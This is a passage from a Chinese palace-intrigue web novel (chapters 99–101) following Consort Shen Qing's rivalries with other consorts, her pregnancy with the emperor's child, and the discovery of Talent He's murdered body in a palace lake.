林贵嫔为人贤妃是知道的,虽有些仗势欺人,但做什么事都会事先与她商量,更何况贤妃初入宫时是林贵嫔主动登门放低姿态结交,所以林贵嫔在贤妃心中分量很不一般。 即便贤妃直觉此事背后有鬼,却分辨不出是谁下手的,皇后德妃有可能,与林贵嫔不和的嫔妃也有可能,皇上都没证据的事贤妃自然也无头绪。 因此她便无理地迁怒到了沈青头上。 贤妃冷不丁道:“有些事命里没有就不该强求,想来淑妃也是懂这个道理的,所以才免了这么一个大乌龙。” 她在明指淑妃有自知之明自己没有福气有孕。 沈青冷笑一声,也不惯着她,慢条斯理道:“本宫不知道本宫有没有,但贤妃命里却一定是没有的。” “你——”贤妃抬手指向沈青。 沈青反而身体微微前倾,带着挑衅道:“不敬上位的惩罚贤妃妹妹想必没有受过。” 被沈青顶着一张比她年龄还小的脸叫妹妹,贤妃气的胸腔起伏,这种羞辱讓她久久失语。 沈青仍不顺意:“林贵嫔常与贤妃交好,如今林贵嫔出了这事,贤妃,你对本宫心中有怨。” 贤妃惊异万分,淑妃怎么会觉得是她指使林贵嫔谋划此事的?淑妃事事精明却在这事上犯了蠢,真是不过如此。 未免凭空背了锅,贤妃纡尊降贵解释了一句:“无论你信与不信,此事不是本宫做的。” 沈青嗤笑一声,撇过头。 这时,德妃到了。 皇后前些日子对德妃不快,便借着她請安不积极的事敲打了一番,此后德妃来得虽然迟,但好在赶在了皇后之前。 德妃滿是笑意地奇了一声:“呦,两位妹妹好大的火气,这是在谈什么?” 她身边的李贵嫔已经默默落座。 贤妃微抬下巴:“德妃这话说的,淑妃可不是你的妹妹,若细论规矩,德妃姐姐还得给淑妃唤一声姐姐才是。” 沈青颔首:“贤妃妹妹这话说得有理,本宫似乎从未听过德妃这么唤过本宫。” 德妃只当没听到,施施然坐下,再没问方才两人在说什么。 贤妃脸色再变,她都这样帮淑妃膈应德妃了,淑妃却还是故意恶心她。 想来对方才她说的话并不信。 贤妃这人也奇怪,若沈青不找她事,她反倒要找沈青的事,无理也要闹三分,而沈青故意找她的事,她却偃旗息鼓了。 心里只剩淑妃怎么能这么糊涂,淑妃到底什么时候知道此事与她无关云云,再没有将林贵嫔的死迁怒到沈青头上而讥讽于她。 沈青端起茶水饮了一口,余光扫过德妃,方才德妃进来时她便发现了,德妃没带大 宫女石榴。 她原本还想好好观察一下石榴,平日总记得石榴跟在德妃身边很有大宫女的风范,其余的印象便没了。 她也有一个疑惑,德妃是如何拿到能讓人假孕的东西,太医院仍未查明手帕上的东西,只知道帕子被洗过后上面的东西耗损很少,可以忽略不计,让人防不胜防。 忽然间,沈青低头的那一瞬感受到一道目光扫过她,偷偷觑她的嫔妃很多,但这道视线却是来自李贵嫔。 李贵嫔老实本分,甚至会代德妃向皇后服软,因此德妃屡屡请安来迟,皇后从前也未多说过什么。 毕竟李贵嫔进宫前,德妃连请安都不耐烦。 两相对比,也就无法对德妃有更高的要求了,即便沈青不太了解李贵嫔,也忍不住对李贵嫔生出好感。 沈青反看回李贵嫔,只见李贵嫔羞谨地朝她笑了笑,似乎没料到会被抓包,然后便安分了下来,目光一直垂着。 李贵嫔会知道德妃的算计吗? 沈青觉得应是不会,如果她是德妃,有这么全心全意为她打算的堂妹,有阴私恐怕也不会让她知道。 这个念头一闪而过,她压根没有升起从李贵嫔着手的打算,便这样将目光从李贵嫔的身上移走。 皇后很快出来,她问了问沈青的身体,沈青自是道:“已经好全了,臣妾多谢娘娘挂念。” 之后便是请安时的老一套,但一堆漂亮女人聚在屋里说些俏皮话,很难让人不快起来。 请安结束,青古出来代皇后留下了她。 沈青坐到皇后身边,还未开口便听皇后道:“林贵嫔的事与贤妃无关,这事本宫也很气愤,但莫要恨错了人,让真正的恶人在外逍遥。” 沈青顿时伤感起来,用手帕点着眼角说流就流的眼泪:“在这后宫,唯有娘娘是真心关切着臣妾,为臣妾做打算,臣妾何德何能……可不是贤妃,难道是德妃?” 皇后对沈青表露的信赖很满意。 贤妃的自辩沈青不信,而她只说了一句话,沈青便将怀疑的目光转向德妃了。 皇后不置可否,她只知道不是贤妃,但并未抓住是德妃的证据,可德妃的三皇子挡了璨儿的路,淑妃该恨,恨德妃才是最好的。 而不是在贤妃身上浪费时间。 沈青只当她默认了,緩了好一会儿,眼中闪过厉色:“臣妾明白了。” “德妃想要臣妾假孕失宠,臣妾偏会要一个孩子,诱的德妃出手,届时还望娘娘抓到德妃的错处。” 她想引诱德妃出手,引出个皇后可就不美了。 至于贤妃,她只要一直表露出怀疑贤妃的态度,贤妃为自证清白就不会对她下手,不然一旦抓住,那假孕的事便会实打实落到了她身上。 若贤妃非要出手,那就怪不了她了。 皇后有一瞬的怔忡。 她在权衡沈青怀孕与斗倒德妃哪个对她最有利。 最终,皇后緩缓道:“本宫会帮你。” 第99章 第99章淑妃十二日 听皇后这么说,沈青看向她,感念万千,终是破涕为笑,目光中含着亲昵与依存。 她了解皇后的性格,知道皇后会答應。 归根到底,是皇后仍对她有着情分,会对她心軟。 皇后暗暗避开沈青的视线,微微垂眸落到蔻丹上,面上情绪不显,她确实会帮沈青一起对付德妃,也暂且不会伤害她,却不会盡心盡力护着她。 但是淑妃有孕,想来也不需要她护着,自有皇上在。 沈青在皇后这里呆了好一会儿才离开坤寧宫。 回到承乾宫,她去小厨房亲自炖了汤,因熬汤需要的时间久,她讓厨娘盯着,自己去沐浴更衣。 天气渐熱,她穿的衣裳虽还是三层,但衣料薄如蝉翼,輕若云雾,穿起来非但不会熱,反而衣袂飘飘,格外輕盈。 待宫人打开妆奁,她坐在铜镜前,沈青扫了一眼镜中脸庞紅润的自己,便叫人给她画了个显清透的妆,遮住了两腮的粉紅。 都五月了,暑气袭人,正是心里凭生一股烦躁的时候,若还气色这么好,额上再生一些細汗,她自己看了都觉得烦闷,更不用说纪宸了。 即便纪宸已经很喜欢她,但这些小細节她仍时时注意着,因为没必要在这些方面败好感。 等一切收拾好,沈青满意了,心里觉得自己果然是当宠妃的料,不免生出些自得,讓人将羹汤用凉水过了一遍,又放进装了一圈冰块的食盒,备好瓷碗与调羹便叫宫人带着随她一起去乾清宫。 沈青未提前告知,但进入乾清宫时王定已经闻讯快步走了出来。 王定道:“淑妃娘娘,皇上在批折子,您先进去稍候,奴才去禀报皇上。” 沈青道了声好,还没移步,便见錢繼走了过来。 他则是道:“淑妃娘娘,皇上請您进去。” 沈青不确定问:“皇上在批折子,这时入内会不会打扰到皇上?” 錢繼笑道:“无妨,皇上在看請安折子,皇上说没什么緊要,讓奴才速速将您请进来。” 沈青料想也是,再过半个时辰便晌午了,一般这个时候纪宸緊要的政事差不多都处理完了,不然她也不会在此时寻他。 便直奔纪宸而去。 她的宫人将羹汤交给乾清宫的太监。 那名太监娴熟地检查过没问题后便呈到了桌子上。 此时沈青已经笑着跟纪宸说她早上做了什么,说她费的心思,央着纪宸一定要将汤喝完。 纪宸被沈青的琼姿玉貌晃了神,再见她目光皎皎,细腰乌发,亭亭玉立在他面前,他便心生欢心,只听她道: “臣妾为了给皇上炖汤,手都烫红了,皇上可一定要多喝些。” 沈青伸出被烫到的右手在纪宸面前晃了晃。 纪宸眼疾手快握住她的手,见她食指指腹有一抹刺眼的红痕,当即让钱继将药膏取来。 手被拿住,沈青与纪宸自然而然拉近了距离,她忙道:“臣妾已经用凉水洗过了,没什么大事。” 钱继取来药膏,纪宸仔细给她上药:“下次这种事让宫人来就行,何须你亲自动手?” 在旁边指挥宫人,他亦会觉得十分熨帖。 其他嫔妃都是这样干的,在旁边盯一会儿,甚至不用动手就可以说是自己做的,纪宸也觉得这样没问题。 恐怕只有沈青是真的从头到尾亲历亲为,不然不会描述地如此详尽。 沈青目光真诚:“臣妾想为皇上下厨,皇上也不用担心羹汤味道不好,臣妾之前炖汤,让白桃白樱试过,都觉得好喝。” 纪宸:“朕原不是第一个品嘗爱妃手艺的人。” 这么听来,倒真有些嫉妒沈青身边的两名宫人,但宫人是他送的,沈青重用,代表对他是全心全意的……他不禁觉得心里有蜜在流淌。 “但臣妾给皇上炖的汤跟以往的都不一样,皇上嘗尝便知道了。”沈青的語调微压,語气含着,原本真诚的目光转变为热忱,同时带着微妙的钩子。 她眼风撩人,目光婉转。 握着沈青手的纪宸当即心便热了起来,他没有细想沈青这句话的意思,凑上前吻了吻她的唇角。 带着安抚意味。 “待会儿去寝殿。”纪宸不可能不对特意打扮过为他而来的沈青不动心,但现在地方不对。 他们可以在寝宫的任意地方行任何荒唐之事,却不能在这里。 两人都不会同意,不然他们岂不是成了昏君妖妃。 沈青可还想要长长久久的尊崇,怎么可能在这事上犯糊涂。 她轻轻点了点头,推了推纪宸的胸膛:“臣妾给皇上盛汤。” 纪宸的目光仍追随她而去。 沈青挽起袖子,给纪宸盛了一碗,递给他:“臣妾用冰镇过,不烫。” 纪宸端过来:“朕确实喝腻了降暑的酸梅汤,爱妃有心了。” 然而汤一入口,纪宸便尝出了不对,再一看沈青,只见她笑吟吟地看着他,联想她方才的话,哪里不知道她特意在汤里加了助阳的东西。 沈青道:“皇上答應要和臣妾生一个孩子。” 不然她好端端送汤来干什么,还不是想催促纪宸加把劲。 当然她也终于懂了为什么之前后妃都喜欢往御前送汤,补身体的汤都绕不开温肾壮阳,皇上喝的多了,可不就往后宫跑的勤了。 纪宸不说话,将汤一饮而尽。 【自讨苦吃。】 沈青心虚了一瞬,将碗接过来,犹豫是否给纪宸再来一勺。 一碗汤发挥的作用应该有限…… 却听纪宸道:“青青亲自给朕做 的汤,还受了伤,不喝完岂不是辜负了这一番美意?” 【怎么会有人傻到主动送上门?】 沈青养身体时,他虽日日去着承乾宫,但因不忍她受累,全了养病的名头,他克制到了自己都讶异的程度。 而他今天,本就会去承乾宫。 但没想到,沈青精心装扮一番,来了乾清宫,怪不得今日的鸟一直叫,原来是有喜事发生。 纪宸完全忘了他下朝后听到鸟叫声命人将笼子挪远些。 沈青忙讪笑道:“臣妾觉得这汤皇上不喝也没什么,臣妾怎会不相信皇上的身体?” 她已经后悔了,可能因在坤寧宫受德妃的影响,她居然凭生出一股豪情壮志,就这么一番布置来了乾清宫。 但她忽略了纪宸本就龙精虎猛,根本不需要借助外力。 沈青深觉自己的不自量力,说什么也不让纪宸再喝了。 一番軟声软语的笑着求饶,再是硬心肠的人都拒绝不了她。 纪宸拍了拍沈青的背,揭过此事,却默默吩咐钱继将汤继续用冰镇上,端进寝殿。 并让人照例准备了参汤。 沈青不知此事,轻舒了一口气。 纪宸牵着沈青去用膳,她忙了一早上,定是没用什么东西。 沈青老老实实用膳,没再招惹纪宸,她算着汤起作用还需要一段时间,心里安稳的很。 待用过膳,她先一步去了纪宸的寝殿。 一刻钟后,湿漉漉带着一身水气的纪宸踏进殿内。 他身上是沐浴过后留下的气味,沈青笑着道:“陛下真好闻。” 宫人都已经回避,沈青笑眯眯啄了啄纪宸的锁骨,主动踮起脚尖跟纪宸接吻。 她主动的次数很少,少有的几次,纪宸都非常喜欢。 良久,两人分开,眼中皆不平静,纪宸抱住她,下巴抵在她的肩膀上,是一个弯腰将人拢在怀里的姿态,他用只有沈青听到的声音道:“卿卿想要孩子,那第一次卿卿来主动好不好。” 沈青脸颊一红,她知道纪宸说的是什么意思,他们什么没做过? 可提起这,沈青手脚都不知道该怎么放了,嗓音干涩道:“……好。” 罢了,她迫切想要一个孩子,出力多些也是应该的。 纪宸带着鼓励与爱怜摸了摸她的发丝,又亲了亲,将沈青拦腰抱起送到了床上。 然而只是一次,沈青便脱了力,只胡乱应着下次。 面庞潮热难忍。 纪宸喉结滚动,将她的手扣住,十指紧握,不再克制。 …… 因中途纪宸不但自己喝了汤,还给她喂了参汤,沈青心里有怨气,也憋着一股劲儿,竟再次主动拉住了纪宸。 纪宸不吝啬夸赞,激动道:“好棒。” 沈青:“……” 好气啊! 当晚,沈青歇在了乾清宫。 她的手无意识放在肚子上,见此,纪宸吻了吻她放在腹部的手,这才将她捞进怀里睡觉。 翌日,沈青向坤宁宫告了假,纪宸上朝回来时她刚醒,怔愣地看着纪宸。 纪宸莫名回望。 只听沈青道:“皇上,我们现在再来一次吧。” 既不浪费她和纪宸相处的时光,任务也算超额完成。 纪宸摸了摸她的额头,不烫,便问:“脑袋里都在想什么?” 沈青哼声道:“难道皇上不想早日见到小皇子和小公主吗?” 纪宸抿唇,疑惑是不是昨日太狠把沈青搞傻了,不然以前,她可不会再喝过参汤蓄了力后主动朝他伸手,也不会大早上直白的可爱。 纪宸的手指压到沈青的唇珠上,将她不自觉咬住的唇分开。 【朕还什么都没说,先提议的倒不好意思了。】 沈青只觉冤枉,纪宸是没说,可他思想黄暴啊,她受影响太正常了。 不论如何,结果自是如愿以偿。 纪宸傻了才会拒绝。 第100章 第100章淑妃十三日 五、六月安然度过,今年的天气较往年来说并不算热,便没有出宫避暑,七月初,后宫嬪妃去承乾宫参加淑妃的千秋宴。 七月已是立秋,天气渐渐转凉。 三位皇子也于这个秋季开始展露头角,后宫众人原以为皇后的大皇子表现得最为聪颖,却没成想素来低调的三皇子纪珹先得到了皇上与上书房师傅的夸赞,一时之间,永寿宫的风头无两。 然而很快,淑妃在乾清宫查出有孕的消息迅速席卷后宫。 后宫众人的目光纷纷落回淑妃身上,连三皇子也不再关注了,毕竟淑妃得皇上喜爱,她的孩子又怎会平凡? 而三位皇子又小,现在下定论押宝还为时过早。 承乾宫中。 沈青颇感神奇地摸了摸平坦的腹部,算起来應是六月末怀上,整个六月她都心情低落,因为努力了一个月却不见成效,任谁都忍不住垂丧。 而六月末正是她平复心情的时候,覺得不如順其自然,没想到,居然就怀上了。 果然,有些事是急不来的。 然而她的身体却一点不适都没有,要不是这几天葵水推迟,她在乾清宫试探性地提了一句,纪宸召来太医为她诊脉,不然,她还得过几天请平安脉时才知道这件事。 没有嗜睡,没有反應剧烈,甚至她的精神比往日都要神采奕奕。 沈青靠在软榻上,腰腹处倚着宫人放置的软枕,手边是一些汤水饮子,至于刺绣用的东西已经被放远了,更多的是她和纪宸特意寻来为小皇子或小公主启蒙的书籍。 月份太小,她不覺得有什么用,可自从得知怀孕的消息,她总忍不住想为小家伙做些什么。 好在这些书很有趣,引得沈青看得津津有味。 不过看书还是太平淡,她寻思着过几日得寻些技艺高超的樂师,弹奏樂器加以熏陶。 万一小家伙技能点在了六艺中的乐上呢。 承乾宫的宫人最近人逢喜事精神爽,走路生风,一扫之前假孕一事的阴霾,对待自家娘娘更细心了,變着花样讨娘娘的欢心,御膳房与小厨房的人更是百般照顾淑妃娘娘开始转變的胃口。 一應有孕之人忌讳的东西更是没法出现在承乾宫。 余甘看到自家娘娘揉了揉眼角,贴心道:“娘娘,不若奴婢读给您听?” 沈青想到余甘悦耳的嗓音,唇边漾起笑意,周身萦绕着动人的溫柔感,将书递给余甘:“你声音好听,便读一刻钟中罢,仔细嗓子。” 余甘宝贝地接过书,甜笑着称是。 耳边响起余甘清亮婉转、抑扬顿挫的声音,沈青缓缓闭上眼睛,眉梢都舒展了許多。 她在心里算着一刻钟的时间,待到差不多,她睁开眼,想让余甘停下。 不然她若不开口,余甘定会一直读下去,不敢败了她的雅興。 谁知旁边却多出了一抹明黄的人影,沈青惊讶出声:“皇上您什么时候来了?” 她竟也疏忽了纪宸的心声。 都怪他太安静了。 余甘止了声,沈青一心二用順手给她推了一杯茶水,润润嗓。 余甘接过茶水,心满意足退下。 纪宸道:“刚来没一会儿,不忍打扰你才没让宫人停下。” 沈青唇边含笑:“下次可不許这样了,把皇上晾在一边,臣妾心里难安。” 纪宸握住她的手,覺得心里暖融融的,他道:“这算什么,一切以爱妃为重。” 两人如胶似漆地溫存,碰碰手,碰碰鼻子。 最终,沈青抓着纪宸的手落到她的腹部:“臣妾还是觉得不可思议,这里竟真有了和皇上的子嗣。” 纪宸垂眸望着沈青一派温柔的模样,恐怕连她都没发现,她提起子嗣的时候语气里藏着許多爱怜与宠溺。 纪宸亦软了眸光:“小家伙知道母妃的辛苦,一点都不闹人。” 沈青猜测着:“许是没到闹人的时候。” “朕倒觉得小家伙是懂事。” 沈青觑了他一眼:“还没生出来呢,就会讨小孩子欢心,这样,皇上怎么当一个严父?” 纪宸失笑:“小孩子不记事,到三岁时再树立威严也不迟,可若是个公主,朕也是想她亲近朕的,不要被朕吓跑了。” 沈青心软道:“小孩子多宠爱些也是应该的。” 两人相识一眼,一个眸光含情脉脉,一个眼波温柔缱绻。 …… 这几日请安后,沈青总爱往漱芳汀去,它是御花园旁边的一处小湖,虽是小湖,但仍可泛舟于上,湖畔花枝繁茂,倒影在湖面上,顯得格外雅致。 而湖边,修着围栏与小亭子。 沈青道:“承乾宫太闷了,好在已经入秋,宫內各处并不闷热,在湖边走一走便觉心旷神怡。” 她身边带着白桃余甘与几名宫女太监。 走累了,她坐在凉亭內,自有宫人摆上水与点心。 沈青喝了一口温水,扫过周围的景色,若是想对她下手,在这里的机会格外多。 石子路上可以泼油,她常扶的栏杆可以用锯子锯松,湖畔处的花丛中可以突然窜出来一条毒蛇。 如今窝已打好,就差鱼来上钩了。 然而,沈青想着,是不是她的举动太过明顯,一直盯着漱芳汀的闻喜却没发现任何可疑的人。 永寿宫最近亦是没什么动静。 好在她穩得住,前三个月虽是最緊要的时候,可也没说非要在前三个月下手不可。 她是七月下旬诊出有孕,快十月时,便是怀孕三个月,预示着她这一胎基本穩了。 宫内仍是风平浪静,德妃賢妃不提,但无子的嬪妃见到她总会带着几分善意,唤起淑妃娘娘来也格外动听。 毕竟最近唯一可以大封后宫的时机,便是淑妃产子后了。 淑妃有孕,皇上只封賞,没抬位份,她们便大致能猜到皇上是想等淑妃顺利生产后,再名正言顺给个高位分。 淑妃上面,可只剩贵妃与皇贵妃。 按常理说淑妃是封无可封,从淑妃到贵妃品级不变,即便封了地位也没多大改变,乏善可陈,仍是皇后之下,賢妃德妃之上。 便是份例也没多大改变。 但皇贵妃位同副后,皇后当得好好的,若突然封个皇贵妃,便是打皇后的脸了。 皇上一直礼重皇后,将后宫诸事交给皇后打理,应是不会这般糊涂,直接封淑妃皇贵妃。 她们猜不透皇上的用意,但知道自己是否升位可就看这一次了,因此即便装模作样也不会惹了淑妃不高興。 纪宸则日日来着承乾宫,即便有事不睡在一起,亦会陪着用一顿膳。 算着有孕已然三个月,沈青的腹部微微隆起,若不用手丈量,仍是不明显。 这三个月来,她害喜症状很轻,顺利地叫人不可思议,甚至脸上也没憔悴起来,仍端庄雍容,仪态万千。 只是人温柔了许多。 纪宸算着日子想,之后再多上心,应是能安然到生产之后。 十月一到,连沈青自己都放松了许多。 因天气转凉,她请安结束去漱芳汀的次数减少。 一次,李贵嬪似是无心道:“淑妃娘娘有孕后倒很喜欢在宫内四处走走。” 感受到李贵嫔身边德妃的视线,沈青淡笑道:“趁着身子不太重的时候賞赏景,也免得日后身子重窝在承乾宫乏味无趣。” “只是将要立冬,漱芳汀的景色也败了许多,显得萧条了些。” 李贵嫔道:“淑妃娘娘您稍等等,御花园的山茶花将要开了,漱芳汀毗邻御花园,想来过个半月便景色宜人了,必不会败了淑妃的雅兴。” 沈青笑着道:“那便借贵嫔吉言了。” 一旁的的贤妃见到这副其乐融融的景象撇了撇嘴,亲近德妃,有淑妃好受的。 她的身边,只随着一名何才人。 想起半个月前,她恼二皇子太笨拙与胆小,在皇上面前争不了先,无法为她这个母妃争光,何才人努力回护二皇子与二皇子忍不住依赖的模样,目光懒懒,觉得到底是亲母子,即便她将二皇子从小养大,也还是养出了一个小白眼狼。 见淑妃与德妃走后,贤妃对何才人道:“你回宫看着二皇子,本宫去慈宁宫走一趟。” 何才人没打算讨好太后,闻言称是,与贤妃分别。 低眉顺眼送走贤妃,何才人绕到了漱芳汀一趟。 她悠悠然赏着湖景,心道果然是个好景色,即便萧条了些亦值得人驻足。 看罢,何才人带着宫女应春离开此处。 十月中旬,请安结束,沈青是要回承乾宫的,但有宫人上前禀报道:“往前走的宫道上被人泼了油,幸而发现得及时,淑妃娘娘稍等,奴才们很快就会将宫道清理干净。” 其余嫔妃听到此话,纷纷绕路回宫。 沈青下了轿:“既如此,咱们也绕路吧。” 她心中有些预感,并不敢再坐轿子,唯恐一个不稳,太监脚下打滑,还是稳妥着来好。 从坤宁宫绕路到承乾宫,最近是经过漱芳汀,不然,她也不会屡屡去这里,而非其他地方。 经过湖时,有一个人忽然惊呼一声,接着便死死捂住嘴巴。 他都吓成这样了,更遑论淑妃娘娘? 沈青攥緊白桃的手,冷静往那边看去,只见湖面上飘着一具面容惊恐的尸体。 是何才人! 而她方才仔细脚下,根本没注意到,现在猛然看见,她只觉脑袋轰鸣,呼吸一窒,一瞬间后背生出的冷汗将里衣打湿,肚子更是一紧。【你现在阅读的是 】 100-110 第101章 第101章淑妃十四日 “送本宫回承乾宫,传太醫,将此事報给皇上皇后,請他们彻查。”沈青冷静对白桃吩咐,目光也移向她,这才缓解了几分。 她现在不能被嚇到,不然就是中计了,有人在宫道上泼油,故意引她走这条路。 孕妇最忌的就是驚嚇过度。 但是怎么敢呢,怎么敢对二皇子生母下手? 且何才人虽与贤妃为伍,背后真正站着的人是皇后,应是后宫最有倚仗的人,然而却莫名其妙死在了今日。 白桃镇定道:“奴婢遵命,娘娘先上轿,宫人的脚程快。” 她扫了闻喜一眼,闻喜当即带人留下,不讓人破坏何才人的尸体,以及寻找附近有无可疑的人。 白櫻今日没来,留守承乾宫。 另有三拨宫人,分别折返回坤宁宫、去乾清宫禀報、以及奔去传唤御醫。 沈青乘上轿辇,平复了数次,但闭眼 仍是何才人的死状,今日回承乾宫的路格外长,似乎怎么走也走不到,即便太监已经加快了速度。 这是她第一次直观见到死人,之前心里只觉得悲凉,可现在冷不防见到,驚吓之余便只剩愤怒。 她一定要揪出是谁,一而再再而三行这种事。 到承乾宫宫门處,白櫻迎了出来,她见沈青脸色不对,再一看白桃,心知出事了,连忙扶娘娘进去,卸下钗环,讓娘娘静卧在床上。 没过一会儿,皇上皇后便到了。 太醫正给沈青诊脉,详细问了几句。 见到皇上皇后,忙起身道:“微臣参见皇上、皇后娘娘。” 皇后紧跟着道:“不必多礼,淑妃如何?” 太医道:“淑妃娘娘受到惊吓,胎象不穩,但好在娘娘身体健康,又穩过前三个月,待喝一碗安胎藥调養一二应是无碍。” 沈青方才从太医口中知晓了,因此反应平平。 纪宸心神稍稳,坐到床榻邊,握住沈青的手:“辛苦你了。” 沈青心心念念惦记着另一件事,反握住纪宸的手,急切道:“皇上,何才人,若何才人的事查不明白,臣妾心里也不会安稳。” 她方才问了白樱,白樱告訴她,这半个月里何才人常往漱芳汀那邊走动,因行迹没什么可疑,他们只会在何才人走后检查一遍。 但昨夜下了雨,风雨交加,他们也并不清楚何才人是什么时候出现在了那里。 宫里晚上有宵禁,宫门落锁,他们无法一直盯着漱芳汀的动静。 沈青思虑着,早上何才人并未到坤宁宫請安,也没有告假。 皇后出言问过贤妃,贤妃道是这几日都未和何才人一起走,神情很不耐烦,因确有其事,皇后不再多言,只派人去寻何才人。 恐怕在何才人的住處是没寻到她。 怪不得在坤宁宫时一直未有人复命,但何才人实则是皇后的人,何才人未到,皇后也没重提此事斥责何才人,便轻轻揭过。 若何才人是昨晚出事的,应早有宫人禀报了,说明是来請安的路上出了意外。 不过何才人请安时常带一个叫应春的宫女,找到应春许是能发现些线索。 她也将这句话告訴给了纪宸。 纪宸安抚地将沈青搂进怀里:“朕已经吩咐仵作查验何才人的尸身,不久后就有结果,她的宫女应春还活着,方才钱全忠来报,他救了一名被投井的宫女,有太监认出了她,她现在已经被送往太医院,待苏醒后会有人问她关于何才人的事。” “那片湖朕之后会着人填了,有朕在。” 纪宸心里出离了愤怒,面上仍有条不紊处理此事。 【能屡次不将嫔妃性命放在眼里,足见其心思叵测,心术不正,等将人找出来其家族也当诛。】 沈青明白,纪宸这是将上次的事与这次的事合办了。 无论今日这个人有没有掺和上次的事,但皇上觉得他有,那他就是有。 纪宸扭头看向皇后:“贤妃和德妃呢?” 皇后道:“臣妾已经讓人去请诸位嫔妃了,恐怕到承乾宫还需要些时间。” 若非皇上在此,她现在脸上也难看得很,她正是觉得何才人有用呢,结果何才人却莫名其妙死了,还吓到了淑妃。 若幕后之人牵扯出她与何才人暗地里联系的事,她想洗清冤屈恐怕不容易。 德妃、贤妃、兰修容一起踏入殿内,纷纷朝皇上皇后淑妃行礼。 兰修容目光担忧地看向沈青。 她问:“淑妃娘娘身体可有什么不妥,腹中胎儿可安稳?” 太医在一旁回答着。 德妃贤妃听到太医说淑妃与腹中胎儿无碍,倒是一致觉得遗憾。 贤妃从听到何才人死时她就在皱眉,深觉晦气,早不死晚不死偏死在了淑妃面前,这不是坑她吗? 贤妃深吸一口气,壓下不爽:“皇上,何才人常与臣妾交好,暗害何才人,恐吓淑妃的人一看就不将臣妾放在眼里,您可一定要为臣妾做主!” 兰修容冷着脸:“贤妃娘娘,往日何才人与您走得最近,怎么这几日何才人倒不与你一起到坤宁宫请安?” 纪宸的目光看向贤妃。 贤妃甩了甩帕子,生气道:“何才人与二皇子的关系到底不是秘密,臣妾便不遮掩了,何才人不本分,惯会宠溺二皇子,惹得臣妾与二皇子不亲近,臣妾烦她,为何要与她一起走?” “皇上不信,大可以去问太后,臣妾这几次去太后娘娘那里,不止一次表露出对何才人的不喜。” 德妃皱眉,看向贤妃:“贤妃不喜何才人……动手除掉何才人也不无可能。” 贤妃一惊,反驳道:“臣妾再不喜何才人,也不会使这种手段,她在本宫手里,本宫做什么不行?” “倒是德妃,不妨有证據后,再来怀疑臣妾为好。” 德妃叹了一口气,看向皇上,目光坦荡道:“有一件事臣妾不知道该不该告诉皇上,但现如今,恐怕只有说了才能找到杀害何才人的真凶,臣妾不敢不报。” 纪宸抬眸,示意她说下去。 德妃:“臣妾宫里的小太监曾看见何才人身边的应春与皇后宫里的青古曾私底下有过交流,便留心了此事,发现她们每月都会私底下见一面,因涉及皇后,臣妾不敢声张。” 她原本想留此事策反贤妃,扳倒皇后。 但现在看来倒不如将水搅浑。 皇后一系列动作她不是没察觉到,她想不明白皇后居然愿意为了淑妃盯上她,因此这几个月她并未轻举妄动,唯恐落了把柄在皇后手中。 贤妃太蠢,身边已无人可用,她如何辩解都会孤立无援,未免贤妃死咬她,还是皇后挡在前面最稳妥。 德妃垂眸,皇后平日一副伪善的样子,心机却着实深不可测。 竟不声不响拿捏了贤妃。 可惜棋差一招。 沈青的目光在皇后与贤妃之间逡巡,只见皇后的脸色变难看了一瞬,眼底阴郁,须臾,略略阖眼,掩下眼底的神色。 贤妃则转瞬明白了过来,心思都摆在脸上。 她看向皇后,目光一沉:“现下看来,臣妾实在对何才人不了解,若要问话,该问皇后娘娘才是。” “不过。”贤妃话锋一转,看向德妃,“德妃对此事知道的这样清楚,兴许何才人怎么死的德妃也知道一二,不若皇上对德妃细细询问,说不定能得些线索。” 沈青愕然,她原以为贤妃会与皇后搅合不清,但没想到她仍不忘德妃。 这得多深的情谊啊。 贤妃感受到沈青的目光,嫌弃极了,她难道就是个蠢货,看不出德妃的用意吗? 只是皇上专宠淑妃,二皇子非嫡非长不说,还不聪慧,人前胆小如鼠,人后对宫人狐假虎威,也就何才人能溺爱一二了。 眼见着未来没指望,她还费心筹谋算计什么? 为了颜家? 颜家自有太后,哪用得上她。 她只需背靠太后皇上,便可在宫中横行无忌,更不需要再虚与委蛇,她慢慢地竟习惯了有话直说,不愿再深想其意。 便是对淑妃,言语上都不需顾忌,因为她壓根说不过淑妃。 淑妃位份在她之上,想想真是不痛快,但淑妃压了德妃一头,贤妃又觉得没那么难以接受了。 贤妃深深忌惮着德妃,自始至终都觉得她深不可测,二皇子生病,按理说她该出手对付德妃才是,但德妃深居永寿宫,且永寿宫的宫人跟哑巴似的,出了永寿宫一句话也不说,她根本找不到机会,只能在请安时找一找德妃的不快。 先前想要对付的德妃的心思也暂且按下,但她可没忘了德妃是怎么对付二皇子的。 猫狗養久了还有感情,更何况是人,因此知道何才人对二皇子母子情深,她也只是疏远何才人。 她最恨的,还是德妃。 如果何才人是皇后的人,那她先前做的事皇后都知道了,怪不得看她那么不顺眼。 贤妃觉得有意思极了,论起怨,皇后应该怨她多一些。 沈青见此,目露思量。 皇后开口道:“不瞒皇上 ,何才人背地里正是臣妾的人,臣妾收买了她,让她盯着贤妃。因为一些往事……臣妾对贤妃并不放心。” 贤妃:“……” 德妃探究地看向贤妃。 贤妃默默翻了个白眼,德妃怎么可能不知道,皇后怀孕,她可是被禁足在太后那儿直到皇后生产。 德妃在装什么不明白? 贤妃道:“何才人与臣妾和皇后均有干系,但皇上可盘问臣妾的宫人,不是我二人,那这宫里最有可能动手的……” 德妃不语。 沈青却道:“一直见德妃倚重宫女石榴,怎么这几个月却不见石榴的身影?” 德妃锐利的目光看向沈青,却被纪宸挡了个正着。 纪宸将刚熬好的安胎藥喂给她:“莫要思虑,朕有成算。” 自上次林贵嫔一事,他就在皇后德妃贤妃身边安放了眼线,若是她三人所为,他定是提前就知道了。 但何才人还是死了,说明便是连皇后德妃贤妃都不知道是谁干的。 既无关这三人,下手定会有纰漏,待证據呈上来,一切就明晰了。 沈青对上纪宸的目光,垂首将药喝完。 德妃淡声道:“石榴犯了事,臣妾让她呆在永寿宫伺候,这次恐怕得让淑妃娘娘失望了。” 沈青轻声回怼:“臣妾不解德妃其意。” 纪宸拿出帕子擦了擦沈青喝完带着热气的药额前冒的汗珠,这一举动压下了德妃的话。 此时,钱全忠与钱继双双进来,禀报道:“回禀皇上,应春已经醒来,她告诉奴才她随何才人在请安路上被人敲晕,因贼人只有一人,便处理了何才人才去处理她,因此露了行迹,侥幸捡回一条命。” “据应春所言,贼人身形偏瘦,是名女子,会武功,双手的力气极大,但手腕上有一颗极明显的红痣。” 德妃眼睛轻眨,微微侧身,众人皆凝神听着钱继所言,并未注意到。 纪宸打断道:“去偏殿说,淑妃需要静养。” 